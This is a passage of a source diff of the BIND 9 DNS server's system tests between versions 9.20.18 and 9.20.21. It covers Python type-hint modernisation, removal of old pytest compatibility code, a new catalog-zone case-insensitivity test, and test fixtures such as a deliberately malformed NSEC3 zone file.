2026-01-09 13:39:27.977969462 +0000 +++ bind9-9.20.21/bin/tests/system/bailiwick/tests_bailiwick.py 2026-03-13 22:01:10.503883675 +0000 @@ -9,23 +9,20 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from typing import Dict import time import dns.message - +import dns.rrset import pytest -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") +from isctest.instance import NamedInstance import isctest -from isctest.instance import NamedInstance @pytest.fixture(autouse=True) -def autouse_flush_resolver_cache(servers: Dict[str, NamedInstance]) -> None: +def autouse_flush_resolver_cache(servers: dict[str, NamedInstance]) -> None: servers["ns4"].rndc("flush") @@ -81,7 +78,7 @@ ) -def test_bailiwick_sibling_ns_referral(servers: Dict[str, NamedInstance]) -> None: +def test_bailiwick_sibling_ns_referral(servers: dict[str, NamedInstance]) -> None: set_spoofing_mode(ans1="sibling-ns", ans2="none") ns4 = servers["ns4"] @@ -89,7 +86,7 @@ check_domain_hijack(ns4) -def test_bailiwick_unsolicited_authority(servers: Dict[str, NamedInstance]) -> None: +def test_bailiwick_unsolicited_authority(servers: dict[str, NamedInstance]) -> None: set_spoofing_mode(ans1="none", ans2="unsolicited-ns") ns4 = servers["ns4"] @@ -98,7 +95,7 @@ check_domain_hijack(ns4) -def test_bailiwick_parent_glue(servers: Dict[str, NamedInstance]) -> None: +def test_bailiwick_parent_glue(servers: dict[str, NamedInstance]) -> None: set_spoofing_mode(ans1="none", ans2="parent-glue") ns4 = servers["ns4"] @@ -111,7 +108,7 @@ check_domain_hijack(ns4) -def test_bailiwick_spoofed_dname(servers: Dict[str, NamedInstance]) -> None: +def test_bailiwick_spoofed_dname(servers: dict[str, NamedInstance]) -> None: set_spoofing_mode(ans1="none", ans2="dname") ns4 = servers["ns4"] diff -Nru bind9-9.20.18/bin/tests/system/catz/ns2/named.conf.j2 bind9-9.20.21/bin/tests/system/catz/ns2/named.conf.j2 --- bind9-9.20.18/bin/tests/system/catz/ns2/named.conf.j2 2026-01-09 13:39:27.982969593 +0000 +++ bind9-9.20.21/bin/tests/system/catz/ns2/named.conf.j2 2026-03-13 22:01:10.509883483 +0000 @@ -142,7 +142,8 @@ primaries { 10.53.0.1; }; }; - zone "catalog2.example" { + /* Also test using a different case */ + zone "Catalog2.Example" { type secondary; file "catalog2.example.db"; primaries { 10.53.0.3; }; diff -Nru bind9-9.20.18/bin/tests/system/catz/ns2/named7.conf.j2 bind9-9.20.21/bin/tests/system/catz/ns2/named7.conf.j2 --- bind9-9.20.18/bin/tests/system/catz/ns2/named7.conf.j2 2026-01-09 13:39:27.982969593 +0000 +++ bind9-9.20.21/bin/tests/system/catz/ns2/named7.conf.j2 2026-03-13 22:01:10.509883483 +0000 @@ -67,7 +67,8 @@ primaries { 10.53.0.1; }; }; - zone "catalog2.example" { + /* Also test using a different case */ + zone "Catalog2.Example" { type secondary; file "catalog2.example.db"; primaries { 10.53.0.3; }; diff -Nru bind9-9.20.18/bin/tests/system/catz/tests.sh bind9-9.20.21/bin/tests/system/catz/tests.sh --- bind9-9.20.18/bin/tests/system/catz/tests.sh 2026-01-09 13:39:27.983969619 +0000 +++ bind9-9.20.21/bin/tests/system/catz/tests.sh 2026-03-13 22:01:10.510883451 +0000 @@ -33,6 +33,15 @@ retry_quiet 20 _wait_for_message "$@" ) +_wait_for_message_ignorecase() ( + nextpartpeek "$1" >wait_for_message.$n + grep -Fi "$2" wait_for_message.$n >/dev/null +) + +wait_for_message_ignorecase() ( + retry_quiet 20 _wait_for_message_ignorecase "$@" +) + _wait_for_rcode() ( rcode="$1" qtype="$2" @@ -381,7 +390,7 @@ n=$((n + 1)) echo_i "waiting for secondary to sync up ($n)" ret=0 -wait_for_message ns2/named.run "catz: updating catalog zone 'catalog2.example' with serial 2670950425" \ +wait_for_message ns2/named.run "catz: updating catalog zone 'Catalog2.Example' with serial 2670950425" \ && wait_for_message ns2/named.run "catz: adding zone 'dom2.example' from catalog 'catalog1.example'" \ && wait_for_message ns2/named.run "catz: adding zone 'dom3.example' from catalog 'catalog1.example'" \ && wait_for_message ns2/named.run "catz: adding zone 'dom4.example' from catalog 'catalog2.example'" \ @@ -453,8 +462,8 @@ n=$((n + 1)) echo_i "waiting for secondary to sync up, and checking that the reused label has been caught ($n)" ret=0 -wait_for_message ns2/named.run "de26b88d855397a03f77ff1162fd055d8b419584.zones.catalog2.example IN PTR (failure)" \ - && wait_for_message ns2/named.run "catz: new catalog zone 'catalog2.example' is broken and will not be processed" || ret=1 +wait_for_message_ignorecase ns2/named.run "de26b88d855397a03f77ff1162fd055d8b419584.zones.catalog2.example IN PTR (failure)" \ + && wait_for_message ns2/named.run "catz: new catalog zone 'Catalog2.Example' is broken and will not be processed" || ret=1 if [ $ret -ne 0 ]; then echo_i "failed"; fi status=$((status + ret)) @@ -497,6 +506,29 @@ nextpart ns2/named.run >/dev/null +# Test that different case isn't interpreted as a new label. +n=$((n + 1)) +echo_i "changing the case of the label of domain dom4.example. in catalog2 zone ($n)" +ret=0 +$NSUPDATE -d <>nsupdate.out.test$n 2>&1 || ret=1 + server 10.53.0.3 ${PORT} + update delete dom4-renamed-label.zones.catalog2.example. 3600 IN PTR dom4.example. + update add DOM4-RENAMED-LABEL.zones.catalog2.example. 3600 IN PTR dom4.example. + send +END +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "waiting for secondary to sync up, and checking that the zone has not been reset ($n)" +ret=0 +wait_for_message ns2/named.run "catz: catalog2.example: reload done: success" || ret=1 +_wait_for_message ns2/named.run "catz: zone 'dom4.example' unique label has changed, reset state" && ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +nextpart ns2/named.run >/dev/null + n=$((n + 1)) echo_i "adding domain dom2.example. to catalog2 zone to test change of ownership ($n)" ret=0 @@ -2477,7 +2509,7 @@ n=$((n + 1)) echo_i "waiting for secondary to sync up ($n)" ret=0 -wait_for_message ns2/named.run "catz: invalid record in catalog zone - primaries.ext.dom18.zones.catalog2.example IN A (failure) - ignoring" \ +wait_for_message_ignorecase ns2/named.run "catz: invalid record in catalog zone - primaries.ext.dom18.zones.catalog2.example IN A (failure) - ignoring" \ && wait_for_message ns2/named.run "catz: adding zone 'dom17.example' from catalog 'catalog2.example'" \ && wait_for_message ns2/named.run "catz: adding zone 'dom18.example' from catalog 'catalog2.example'" \ && wait_for_message ns2/named.run "transfer of 'dom17.example/IN/default' from 10.53.0.3#${PORT}: Transfer status: success" \ diff -Nru bind9-9.20.18/bin/tests/system/chain/ans3/ans.py bind9-9.20.21/bin/tests/system/chain/ans3/ans.py --- bind9-9.20.18/bin/tests/system/chain/ans3/ans.py 2026-01-09 13:39:27.984969645 +0000 +++ bind9-9.20.21/bin/tests/system/chain/ans3/ans.py 2026-03-13 22:01:10.511883419 +0000 @@ -11,7 +11,7 @@ information regarding copyright ownership. """ -from typing import AsyncGenerator +from collections.abc import AsyncGenerator import dns.name import dns.rcode @@ -28,13 +28,6 @@ ResponseAction, ) -try: - dns_namerelation_equal = dns.name.NameRelation.EQUAL - dns_namerelation_subdomain = dns.name.NameRelation.SUBDOMAIN -except AttributeError: # dnspython < 2.3.0 compat - dns_namerelation_equal = dns.name.NAMERELN_EQUAL # type: ignore - dns_namerelation_subdomain = dns.name.NAMERELN_SUBDOMAIN # type: ignore - def get_dname_rrset_at_name( zone: dns.zone.Zone, name: dns.name.Name @@ -94,11 +87,11 @@ relation, _, _ = qctx.qname.fullcompare(self_example_dname) - if relation in (dns_namerelation_equal, dns_namerelation_subdomain): + if relation in (dns.name.NameRelation.EQUAL, dns.name.NameRelation.SUBDOMAIN): del qctx.response.authority[:] qctx.response.set_rcode(dns.rcode.NOERROR) - if relation == dns_namerelation_subdomain: + if relation == dns.name.NameRelation.SUBDOMAIN: qctx.response.answer.append(dname_rrset) cname_rrset = dns.rrset.from_text( qctx.qname, @@ -114,7 +107,7 @@ def main() -> None: server = AsyncDnsServer(acknowledge_manual_dname_handling=True, default_aa=True) - server.install_response_handlers([CnameThenDnameHandler(), Cve202125215()]) + server.install_response_handlers(CnameThenDnameHandler(), Cve202125215()) server.run() diff -Nru bind9-9.20.18/bin/tests/system/chain/ans4/ans.py bind9-9.20.21/bin/tests/system/chain/ans4/ans.py --- bind9-9.20.18/bin/tests/system/chain/ans4/ans.py 2026-01-09 13:39:27.985969672 +0000 +++ bind9-9.20.21/bin/tests/system/chain/ans4/ans.py 2026-03-13 22:01:10.511883419 +0000 @@ -11,9 +11,9 @@ information regarding copyright ownership. """ +from collections.abc import AsyncGenerator from dataclasses import dataclass from enum import Enum -from typing import AsyncGenerator, List, Optional, Tuple import abc import logging @@ -123,7 +123,7 @@ def __init__(self, name_generator: ChainNameGenerator) -> None: self._name_generator = name_generator - def get_rrsets(self) -> Tuple[List[dns.rrset.RRset], List[dns.rrset.RRset]]: + def get_rrsets(self) -> tuple[list[dns.rrset.RRset], list[dns.rrset.RRset]]: """ Return the lists of records and their signatures that should be generated in response to a given "action". @@ -155,7 +155,7 @@ raise NotImplementedError @abc.abstractmethod - def generate_rrsets(self) -> Tuple[List[dns.rrset.RRset], List[dns.rrset.RRset]]: + def generate_rrsets(self) -> tuple[list[dns.rrset.RRset], list[dns.rrset.RRset]]: """ Return the lists of records and their signatures that should be generated in response to a given "action". @@ -170,7 +170,7 @@ response_count = 1 - def generate_rrsets(self) -> Tuple[List[dns.rrset.RRset], List[dns.rrset.RRset]]: + def generate_rrsets(self) -> tuple[list[dns.rrset.RRset], list[dns.rrset.RRset]]: owner = self._name_generator.current_name target = self._name_generator.generate_next_name().to_text() response = self.create_rrset(owner, dns.rdatatype.CNAME, target) @@ -182,7 +182,7 @@ response_count = 2 - def generate_rrsets(self) -> Tuple[List[dns.rrset.RRset], List[dns.rrset.RRset]]: + def generate_rrsets(self) -> tuple[list[dns.rrset.RRset], list[dns.rrset.RRset]]: dname_owner = self._name_generator.current_domain cname_owner = self._name_generator.current_name dname_target = self._name_generator.generate_next_sld().to_text() @@ -206,7 +206,7 @@ response_count = 1 - def generate_rrsets(self) -> Tuple[List[dns.rrset.RRset], List[dns.rrset.RRset]]: + def generate_rrsets(self) -> tuple[list[dns.rrset.RRset], list[dns.rrset.RRset]]: owner = self._name_generator.current_name target = self._name_generator.generate_next_name_in_next_sld().to_text() response = self.create_rrset(owner, dns.rdatatype.CNAME, target) @@ -218,7 +218,7 @@ response_count = 1 - def generate_rrsets(self) -> Tuple[List[dns.rrset.RRset], List[dns.rrset.RRset]]: + def generate_rrsets(self) -> tuple[list[dns.rrset.RRset], list[dns.rrset.RRset]]: owner = self._name_generator.current_name response = self.create_rrset(owner, dns.rdatatype.A, "10.53.0.4") signature = self.create_rrset_signature(owner, response.rdtype) @@ -297,11 +297,11 @@ control_subdomain = "setup-chain" def __init__(self) -> None: - self._current_handler: Optional[ChainResponseHandler] = None + self._current_handler: ChainResponseHandler | None = None def handle( - self, args: List[str], server: ControllableAsyncDnsServer, qctx: QueryContext - ) -> Optional[str]: + self, args: list[str], server: ControllableAsyncDnsServer, qctx: QueryContext + ) -> str | None: try: actions, selectors = self._parse_args(args) except ValueError as exc: @@ -320,8 +320,8 @@ return "chain response setup successful" def _parse_args( - self, args: List[str] - ) -> Tuple[List[ChainAction], List[ChainSelector]]: + self, args: list[str] + ) -> tuple[list[ChainAction], list[ChainSelector]]: try: delimiter = args.index("_") except ValueError as exc: @@ -335,7 +335,7 @@ return actions, selectors - def _parse_args_actions(self, args_actions: List[str]) -> List[ChainAction]: + def _parse_args_actions(self, args_actions: list[str]) -> list[ChainAction]: actions = [] for action in args_actions + ["FINAL"]: @@ -347,8 +347,8 @@ return actions def _parse_args_selectors( - self, args_selectors: List[str], actions: List[ChainAction] - ) -> List[ChainSelector]: + self, args_selectors: list[str], actions: list[ChainAction] + ) -> list[ChainSelector]: max_response_index = self._get_max_response_index(actions) selectors = [] @@ -366,19 +366,19 @@ return selectors - def _get_max_response_index(self, actions: List[ChainAction]) -> int: + def _get_max_response_index(self, actions: list[ChainAction]) -> int: rrset_generator_classes = [a.value for a in actions] return sum(g.response_count for g in rrset_generator_classes) def _prepare_answer( - self, actions: List[ChainAction], selectors: List[ChainSelector] - ) -> List[dns.rrset.RRset]: + self, actions: list[ChainAction], selectors: list[ChainSelector] + ) -> list[dns.rrset.RRset]: all_responses, all_signatures = self._generate_rrsets(actions) return self._select_rrsets(all_responses, all_signatures, selectors) def _generate_rrsets( - self, actions: List[ChainAction] - ) -> Tuple[List[dns.rrset.RRset], List[dns.rrset.RRset]]: + self, actions: list[ChainAction] + ) -> tuple[list[dns.rrset.RRset], list[dns.rrset.RRset]]: all_responses = [] all_signatures = [] name_generator = ChainNameGenerator() @@ -394,10 +394,10 @@ def _select_rrsets( self, - all_responses: List[dns.rrset.RRset], - all_signatures: List[dns.rrset.RRset], - selectors: List[ChainSelector], - ) -> List[dns.rrset.RRset]: + all_responses: list[dns.rrset.RRset], + all_signatures: list[dns.rrset.RRset], + selectors: list[ChainSelector], + ) -> list[dns.rrset.RRset]: rrsets = [] for selector in selectors: @@ -418,7 +418,7 @@ domains = ["domain.nil."] - def __init__(self, answer_rrsets: List[dns.rrset.RRset]): + def __init__(self, answer_rrsets: list[dns.rrset.RRset]): super().__init__() self._answer_rrsets = answer_rrsets @@ -441,7 +441,7 @@ qctx.response.use_edns() yield DnsResponseSend(qctx.response) - def _non_chain_answer(self, qctx: QueryContext) -> List[dns.rrset.RRset]: + def _non_chain_answer(self, qctx: QueryContext) -> list[dns.rrset.RRset]: owner = qctx.qname return [ RecordGenerator.create_rrset(owner, dns.rdatatype.A, "10.53.0.4"), @@ -449,14 +449,14 @@ ] @property - def _authority_rrsets(self) -> List[dns.rrset.RRset]: + def _authority_rrsets(self) -> list[dns.rrset.RRset]: owner = dns.name.from_text("domain.nil.") return [ RecordGenerator.create_rrset(owner, dns.rdatatype.NS, "ns1.domain.nil."), ] @property - def _additional_rrsets(self) -> List[dns.rrset.RRset]: + def _additional_rrsets(self) -> list[dns.rrset.RRset]: owner = dns.name.from_text("ns1.domain.nil.") return [ RecordGenerator.create_rrset(owner, dns.rdatatype.A, "10.53.0.4"), diff -Nru bind9-9.20.18/bin/tests/system/chain/tests_sh_chain.py bind9-9.20.21/bin/tests/system/chain/tests_sh_chain.py --- bind9-9.20.18/bin/tests/system/chain/tests_sh_chain.py 2026-01-09 13:39:27.987969724 +0000 +++ bind9-9.20.21/bin/tests/system/chain/tests_sh_chain.py 2026-03-13 22:01:10.513883355 +0000 @@ -11,9 +11,6 @@ import pytest -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") - pytestmark = pytest.mark.extra_artifacts( [ "dig.out.*", diff -Nru bind9-9.20.18/bin/tests/system/checkconf/good-key-view.conf bind9-9.20.21/bin/tests/system/checkconf/good-key-view.conf --- bind9-9.20.18/bin/tests/system/checkconf/good-key-view.conf 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/checkconf/good-key-view.conf 2026-03-13 22:01:10.536882620 +0000 @@ -0,0 +1,27 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +view aview { + key akey { + algorithm hmac-sha256; + secret "9999abcd8765"; + }; + + zone "azone" { + type secondary; + file "azone.db"; + primaries { + 1.2.3.4 key "akey"; + }; + }; +}; diff -Nru bind9-9.20.18/bin/tests/system/checkds/tests_checkds.py bind9-9.20.21/bin/tests/system/checkds/tests_checkds.py --- bind9-9.20.18/bin/tests/system/checkds/tests_checkds.py 2026-01-09 13:39:28.020970590 +0000 +++ bind9-9.20.21/bin/tests/system/checkds/tests_checkds.py 2026-03-13 22:01:10.547882269 +0000 @@ -12,23 +12,19 @@ # information regarding copyright ownership. -from typing import NamedTuple, Tuple +from typing import NamedTuple import os import sys import time -import isctest -import pytest - -pytest.importorskip("dns", minversion="2.0.0") -import dns.exception -import dns.message import dns.name import dns.rcode import dns.rdataclass import dns.rdatatype +import pytest +import isctest pytestmark = [ pytest.mark.skipif( @@ -191,7 +187,7 @@ class CheckDSTest(NamedTuple): zone: str - logs_to_wait_for: Tuple[str] + logs_to_wait_for: tuple[str] expected_parent_state: str diff -Nru bind9-9.20.18/bin/tests/system/checkzone/zones/bad-nsec3-length.db bind9-9.20.21/bin/tests/system/checkzone/zones/bad-nsec3-length.db --- bind9-9.20.18/bin/tests/system/checkzone/zones/bad-nsec3-length.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/checkzone/zones/bad-nsec3-length.db 2026-03-13 22:01:10.557881949 +0000 @@ -0,0 +1,17 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 600 +@ SOA ns hostmaster 2011012708 3600 1200 604800 1200 + NS ns +ns A 192.0.2.1 + +I7A7A184GGMI35K1E3IR650LKO7NOB5R.dyn.example.net. 7200 IN NSEC3 1 0 10 76931F IMQ912BREQP1POLAH3RMONG;UED541AS A RRSIG diff -Nru bind9-9.20.18/bin/tests/system/checkzone/zones/crashzone.db bind9-9.20.21/bin/tests/system/checkzone/zones/crashzone.db --- bind9-9.20.18/bin/tests/system/checkzone/zones/crashzone.db 2026-01-09 13:39:28.030970852 +0000 +++ bind9-9.20.21/bin/tests/system/checkzone/zones/crashzone.db 2026-03-13 22:01:10.558881917 +0000 @@ -47,7 +47,6 @@ 577WZnTQemStx+diON9rEGXAGnU7C0KLjrFL VyhocnBnNtxJS8eRMSWvb9XuYCMNhYKOurtt Ar4qh4VW1+unmA== ) -I7A7A184GGMI35K1E3IR650LKO7NOB5R.dyn.example.net. 7200 IN NSEC3 1 0 10 76931F IMQ912BREQP1POLAH3RMONG;UED541AS A RRSIG IMQ912BREQP1POLAH3RMONG3UED541AS.dyn.example.net. 7200 IN NSEC3 1 0 10 76931F S3USV4M1HLVJ8F88EDSG8N9PVQRQ20N7 A RRSIG 7200 RRSIG NSEC3 7 4 7200 20100227180048 ( 20100221180048 30323 dyn.example.net. diff -Nru bind9-9.20.18/bin/tests/system/cipher-suites/tests_cipher_suites.py bind9-9.20.21/bin/tests/system/cipher-suites/tests_cipher_suites.py --- bind9-9.20.18/bin/tests/system/cipher-suites/tests_cipher_suites.py 2026-01-09 13:39:28.034970957 +0000 +++ bind9-9.20.21/bin/tests/system/cipher-suites/tests_cipher_suites.py 2026-03-13 22:01:10.562881789 +0000 @@ -11,16 +11,12 @@ from re import compile as Re +import dns.rcode import pytest -pytest.importorskip("dns", minversion="2.5.0") - -import dns.message - import isctest import isctest.mark - pytestmark = pytest.mark.extra_artifacts( [ "ns*/example*.db", diff -Nru bind9-9.20.18/bin/tests/system/conftest.py bind9-9.20.21/bin/tests/system/conftest.py --- bind9-9.20.18/bin/tests/system/conftest.py 2026-01-09 13:39:28.034970957 +0000 +++ bind9-9.20.21/bin/tests/system/conftest.py 2026-03-13 22:01:10.562881789 +0000 @@ -9,51 +9,41 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -import filecmp -import os from pathlib import Path from re import compile as Re + +import filecmp +import os import shutil import subprocess +import sys import tempfile import time -from typing import Any import pytest pytest.register_assert_rewrite("isctest") -import isctest +# pylint: disable=wrong-import-position from isctest.vars.dirs import SYSTEM_TEST_DIR_GIT_PATH +import isctest + +# pylint: enable=wrong-import-position # Silence warnings caused by passing a pytest fixture to another fixture. # pylint: disable=redefined-outer-name +if sys.version_info[1] < 10: + raise RuntimeError("Python 3.10 or newer is required to run system tests.") isctest.log.init_conftest_logger() isctest.log.avoid_duplicated_logs() isctest.vars.init_vars() -# ----------------- Older pytest / xdist compatibility ------------------- -# As of 2023-01-11, the minimal supported pytest / xdist versions are -# determined by what is available in EL8/EPEL8: -# - pytest 3.4.2 -# - pytest-xdist 1.24.1 -_pytest_ver = pytest.__version__.split(".") -_pytest_major_ver = int(_pytest_ver[0]) -if _pytest_major_ver < 7: - # pytest.Stash/pytest.StashKey mechanism has been added in 7.0.0 - # for older versions, use regular dictionary with string keys instead - FIXTURE_OK = "fixture_ok" # type: Any -else: - FIXTURE_OK = pytest.StashKey[bool]() # pylint: disable=no-member - # ----------------------- Globals definition ----------------------------- -XDIST_WORKER = os.environ.get("PYTEST_XDIST_WORKER", "") FILE_DIR = os.path.abspath(Path(__file__).parent) -ENV_RE = Re(b"([^=]+)=(.*)") PRIORITY_TESTS = [ # Tests that are scheduled first. Speeds up parallel execution. "rpz/", @@ -83,26 +73,7 @@ ) -def pytest_configure(config): - # Ensure this hook only runs on the main pytest instance if xdist is - # used to spawn other workers. - if not XDIST_WORKER: - if config.pluginmanager.has_plugin("xdist") and config.option.numprocesses: - # system tests depend on module scope for setup & teardown - # enforce use "loadscope" scheduler or disable paralelism - try: - import xdist.scheduler.loadscope # pylint: disable=unused-import - except ImportError: - isctest.log.debug( - "xdist is too old and does not have " - "scheduler.loadscope, disabling parallelism" - ) - config.option.dist = "no" - else: - config.option.dist = "loadscope" - - -def pytest_ignore_collect(path): +def pytest_ignore_collect(collection_path): # System tests are executed in temporary directories inside # bin/tests/system. These temporary directories contain all files # needed for the system tests - including tests_*.py files. Make sure to @@ -111,9 +82,9 @@ # convenience symlinks to those test directories. In both of those # cases, the system test name (directory) contains an underscore, which # is otherwise and invalid character for a system test name. - match = SYSTEM_TEST_NAME_RE.search(str(path)) + match = SYSTEM_TEST_NAME_RE.search(str(collection_path)) if match is None: - isctest.log.warning("unexpected test path: %s (ignored)", path) + isctest.log.warning("unexpected test path: %s (ignored)", collection_path) return True system_test_name = match.groups()[0] return "_" in system_test_name @@ -259,25 +230,21 @@ @pytest.fixture(scope="module") +def default_algorithm(): + return isctest.vars.algorithms.Algorithm.default() + + +@pytest.fixture(scope="module") def system_test_name(request): """Name of the system test directory.""" path = Path(request.fspath) return path.parent.name -def _get_marker(node, marker): - try: - # pytest >= 4.x - return node.get_closest_marker(marker) - except AttributeError: - # pytest < 4.x - return node.get_marker(marker) - - @pytest.fixture(autouse=True) def wait_for_zones_loaded(request, servers): """Wait for all zones to be loaded by specified named instances.""" - instances = _get_marker(request.node, "requires_zones_loaded") + instances = request.node.get_closest_marker("requires_zones_loaded") if not instances: return @@ -289,12 +256,12 @@ @pytest.fixture(scope="module", autouse=True) def configure_algorithm_set(request): """Configure the algorithm set to use in tests.""" - mark = _get_marker(request.node, "algorithm_set") + mark = request.node.get_closest_marker("algorithm_set") if not mark: name = None else: name = mark.args[0] - isctest.vars.set_algorithm_set(name) + isctest.vars.algorithms.set_algorithm_set(name) @pytest.fixture(autouse=True) @@ -379,12 +346,6 @@ assert all(res.outcome == "passed" for res in test_results.values()) return "passed" - def unlink(path): - try: - path.unlink() # missing_ok=True isn't available on Python 3.6 - except FileNotFoundError: - pass - def check_artifacts(source_dir, run_dir): def check_artifacts_recursive(dcmp): def artifact_expected(path, expected): @@ -425,7 +386,7 @@ ), f"Unexpected files found in test directory: {unexpected_files}" # Create a temporary directory with a copy of the original system test dir contents - system_test_root = Path(os.environ["builddir"]) + system_test_root = Path(os.environ["builddir"]).resolve() testdir = Path( tempfile.mkdtemp(prefix=f"{system_test_name}_tmp_", dir=system_test_root) ) @@ -434,9 +395,9 @@ isctest.vars.dirs.set_system_test_name(testdir.name) # Create a convenience symlink with a stable and predictable name - module_name = SYMLINK_REPLACEMENT_RE.sub(r"\1", str(_get_node_path(request.node))) + module_name = SYMLINK_REPLACEMENT_RE.sub(r"\1", str(request.node.path)) symlink_dst = system_test_root / module_name - unlink(symlink_dst) + symlink_dst.unlink(missing_ok=True) symlink_dst.symlink_to(os.path.relpath(testdir, start=system_test_root)) isctest.log.init_module_logger(system_test_name, testdir) @@ -468,7 +429,7 @@ "test failure detected, keeping temporary directory %s", testdir ) keep = True - elif not request.node.stash[FIXTURE_OK]: + elif not request.node.stash["fixture_ok"]: isctest.log.debug( "test setup/teardown issue detected, keeping temporary directory %s", testdir, @@ -485,7 +446,7 @@ isctest.log.deinit_module_logger() if not keep: shutil.rmtree(testdir) - unlink(symlink_dst) + symlink_dst.unlink(missing_ok=True) @pytest.fixture(scope="module") @@ -493,15 +454,6 @@ return isctest.template.TemplateEngine(system_test_dir) -def _get_node_path(node) -> Path: - if isinstance(node.parent, pytest.Session): - if _pytest_major_ver >= 8: - return Path() - return Path(node.name) - assert node.parent is not None - return _get_node_path(node.parent) / node.name - - @pytest.fixture(scope="module") def run_tests_sh(system_test_dir): """Utility function to execute tests.sh as a python test.""" @@ -606,15 +558,13 @@ isctest.log.error("Found core dumps or sanitizer reports") pytest.fail(f"get_core_dumps.sh exited with {exc.returncode}") - isctest.log.info(f"test started: {_get_node_path(request.node)}") + isctest.log.info(f"test started: {request.node.path}") port = int(os.environ["PORT"]) isctest.log.info( "using port range: <%d, %d>", port, port + isctest.vars.ports.PORTS_PER_TEST - 1 ) - if not hasattr(request.node, "stash"): # compatibility with pytest<7.0.0 - request.node.stash = {} # use regular dict instead of pytest.Stash - request.node.stash[FIXTURE_OK] = True + request.node.stash["fixture_ok"] = True # Perform checks which may skip this test. check_net_interfaces() @@ -623,7 +573,7 @@ # Store the fact that this fixture hasn't successfully finished yet. # This is checked before temporary directory teardown to decide whether # it's okay to remove the directory. - request.node.stash[FIXTURE_OK] = False + request.node.stash["fixture_ok"] = False setup_test() try: @@ -634,7 +584,7 @@ isctest.log.debug("test(s) finished") stop_servers() get_core_dumps() - request.node.stash[FIXTURE_OK] = True + request.node.stash["fixture_ok"] = True @pytest.fixture(scope="module") diff -Nru bind9-9.20.18/bin/tests/system/convert-junit-to-trs.py bind9-9.20.21/bin/tests/system/convert-junit-to-trs.py --- bind9-9.20.18/bin/tests/system/convert-junit-to-trs.py 2026-01-09 13:39:28.034970957 +0000 +++ bind9-9.20.21/bin/tests/system/convert-junit-to-trs.py 1970-01-01 00:00:00.000000000 +0000 @@ -1,70 +0,0 @@ -#!/usr/bin/env python3 -# -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# Convert JUnit pytest output to automake .trs files - -import argparse -import sys -from xml.etree import ElementTree - - -def junit_to_trs(junit_xml): - root = ElementTree.fromstring(junit_xml) - testcases = root.findall(".//testcase") - - if len(testcases) < 1: - print(":test-result: ERROR convert-junit-to-trs.py") - return 99 - - has_fail = False - has_error = False - has_skipped = False - for testcase in testcases: - filename = f"{testcase.attrib['classname'].replace('.', '/')}.py" - name = f"{filename}::{testcase.attrib['name']}" - res = "PASS" - for node in testcase: - if node.tag == "failure": - res = "FAIL" - has_fail = True - elif node.tag == "error": - res = "ERROR" - has_error = True - elif node.tag == "skipped": - if node.attrib.get("type") == "pytest.xfail": - res = "XFAIL" - else: - res = "SKIP" - has_skipped = True - print(f":test-result: {res} {name}") - - if has_error: - return 99 - if has_fail: - return 1 - if has_skipped: - return 77 - return 0 - - -def main(): - parser = argparse.ArgumentParser( - description="Convert JUnit XML to Automake TRS and exit with " - "the appropriate Automake-compatible exit code." - ) - parser.add_argument( - "junit_file", - type=argparse.FileType("r", encoding="utf-8"), - help="junit xml result file", - ) - args = parser.parse_args() - - junit_xml = args.junit_file.read() - sys.exit(junit_to_trs(junit_xml)) - - -if __name__ == "__main__": - main() diff -Nru bind9-9.20.18/bin/tests/system/convert_junit_to_trs.py bind9-9.20.21/bin/tests/system/convert_junit_to_trs.py --- bind9-9.20.18/bin/tests/system/convert_junit_to_trs.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/convert_junit_to_trs.py 2026-03-13 22:01:10.562881789 +0000 @@ -0,0 +1,73 @@ +#!/usr/bin/env python3 +# +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# Convert JUnit pytest output to automake .trs files + +from pathlib import Path +from xml.etree import ElementTree + +import argparse +import sys + + +def junit_to_trs(junit_xml): + root = ElementTree.fromstring(junit_xml) + testcases = root.findall(".//testcase") + + if len(testcases) < 1: + print(":test-result: ERROR convert_junit_to_trs.py") + return 99 + + has_fail = False + has_error = False + has_skipped = False + for testcase in testcases: + filename = f"{testcase.attrib['classname'].replace('.', '/')}.py" + name = f"{filename}::{testcase.attrib['name']}" + res = "PASS" + for node in testcase: + if node.tag == "failure": + res = "FAIL" + has_fail = True + elif node.tag == "error": + res = "ERROR" + has_error = True + elif node.tag == "skipped": + if node.attrib.get("type") == "pytest.xfail": + res = "XFAIL" + else: + res = "SKIP" + has_skipped = True + print(f":test-result: {res} {name}") + + if has_error: + return 99 + if has_fail: + return 1 + if has_skipped: + return 77 + return 0 + + +def main(): + parser = argparse.ArgumentParser( + description="Convert JUnit XML to Automake TRS and exit with " + "the appropriate Automake-compatible exit code." + ) + parser.add_argument( + "junit_file", + type=Path, + help="junit xml result file", + ) + args = parser.parse_args() + + with args.junit_file.open(encoding="utf-8") as junit_file: + junit_xml = junit_file.read() + sys.exit(junit_to_trs(junit_xml)) + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.18/bin/tests/system/cookie/ans10/ans.py bind9-9.20.21/bin/tests/system/cookie/ans10/ans.py 